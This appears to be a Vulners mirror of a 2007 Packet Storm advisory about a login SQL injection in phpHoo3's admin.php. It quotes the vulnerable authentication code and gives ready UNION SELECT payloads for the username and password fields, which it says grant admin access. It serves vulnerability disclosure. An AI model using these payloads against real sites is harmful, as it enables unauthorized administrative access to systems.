Lucene search
K

phphoo3-sql.txt

🗓️ 08 May 2007 00:00:00Reported by Ilker KandemirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 85 Views

phpHoo3 Login SQL injection vulnerability in admin.ph

Code
`# phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar...  
  
# download:http://cable-modems.org/phpHoo/files/phphoo3.zip  
  
# author : iLker Kandemir < ilkerkandemir <at> mynet.com >  
  
# Risk : High  
# Class : Remote  
# Vuln. Script : phpHoo3  
  
# tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann ..  
  
Vulnerable;  
///admin.php  
  
code ;  
if($HooPass == $ADMIN_COOKIE) { //If the cookie exists  
  
// should we delete the cookie and start?  
if (isset($exit_admin)) {  
setcookie("HooPass", "");  
header ("Location: $SITE_URL$SITE_DIR");  
exit;  
}  
}  
  
// Check to see if we are being posted a set of USER/PASS  
if (isset($LOGIN) && !empty($HTTP_POST_VARS)) {  
$vars = $HTTP_POST_VARS;  
if (($vars["USER"] == $ADMIN_USER) && ($vars["PASS"] == $ADMIN_PASS)) {  
setcookie("HooPass", $ADMIN_COOKIE);  
header ("Location: $SITE_URL$SITE_DIR");  
exit;  
}  
//The cookie exists  
...  
  
ADMIN_USER : 1/**/union/**/select/**/0,1,2,3,4/*  
ADMIN_PASS : 1/**/union/**/select/**/0,1,2,3,4/*  
  
///admin.php logged...  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation